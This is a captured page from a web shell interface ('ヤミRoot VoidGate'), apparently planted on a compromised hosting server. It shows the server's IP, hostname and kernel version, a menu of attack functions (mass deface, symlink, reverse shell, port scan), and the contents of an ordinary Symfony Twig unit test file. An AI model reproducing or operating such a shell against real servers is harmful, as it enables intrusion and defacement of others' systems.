ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Bridge
/
Twig
/
Tests
/
Node
/
Viewing: FormThemeTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bridge\Twig\Tests\Node; use PHPUnit\Framework\TestCase; use Symfony\Bridge\Twig\Node\FormThemeNode; use Symfony\Bridge\Twig\Tests\Extension\RuntimeLoaderProvider; use Symfony\Component\Form\FormRenderer; use Symfony\Component\Form\FormRendererEngineInterface; use Twig\Compiler; use Twig\Environment; use Twig\Node\Expression\ArrayExpression; use Twig\Node\Expression\ConstantExpression; use Twig\Node\Expression\NameExpression; use Twig\Node\Node; class FormThemeTest extends TestCase { use RuntimeLoaderProvider; public function testConstructor() { $form = new NameExpression('form', 0); $resources = new Node(array( new ConstantExpression('tpl1', 0), new ConstantExpression('tpl2', 0), )); $node = new FormThemeNode($form, $resources, 0); $this->assertEquals($form, $node->getNode('form')); $this->assertEquals($resources, $node->getNode('resources')); $this->assertFalse($node->getAttribute('only')); } public function testCompile() { $form = new NameExpression('form', 0); $resources = new ArrayExpression(array( new ConstantExpression(0, 0), new ConstantExpression('tpl1', 0), new ConstantExpression(1, 0), new ConstantExpression('tpl2', 0), ), 0); $node = new FormThemeNode($form, $resources, 0); $environment = new Environment($this->getMockBuilder('Twig\Loader\LoaderInterface')->getMock()); $formRenderer = new FormRenderer($this->getMockBuilder(FormRendererEngineInterface::class)->getMock()); $this->registerTwigRuntimeLoader($environment, $formRenderer); $compiler = new Compiler($environment); $this->assertEquals( sprintf( '$this->env->getRuntime("Symfony\\\\Component\\\\Form\\\\FormRenderer")->setTheme(%s, array(0 => "tpl1", 1 => "tpl2"), true);', $this->getVariableGetter('form') ), trim($compiler->compile($node)->getSource()) ); $node = new FormThemeNode($form, $resources, 0, null, true); $this->assertEquals( sprintf( '$this->env->getRuntime("Symfony\\\\Component\\\\Form\\\\FormRenderer")->setTheme(%s, array(0 => "tpl1", 1 => "tpl2"), false);', $this->getVariableGetter('form') ), trim($compiler->compile($node)->getSource()) ); $resources = new ConstantExpression('tpl1', 0); $node = new FormThemeNode($form, $resources, 0); $this->assertEquals( sprintf( '$this->env->getRuntime("Symfony\\\\Component\\\\Form\\\\FormRenderer")->setTheme(%s, "tpl1", true);', $this->getVariableGetter('form') ), trim($compiler->compile($node)->getSource()) ); $node = new FormThemeNode($form, $resources, 0, null, true); $this->assertEquals( sprintf( '$this->env->getRuntime("Symfony\\\\Component\\\\Form\\\\FormRenderer")->setTheme(%s, "tpl1", false);', $this->getVariableGetter('form') ), trim($compiler->compile($node)->getSource()) ); } protected function getVariableGetter($name) { if (\PHP_VERSION_ID >= 70000) { return sprintf('($context["%s"] ?? null)', $name); } return sprintf('(isset($context["%s"]) ? $context["%1$s"] : null)', $name); } }
Coded With 💗 by
0x6ick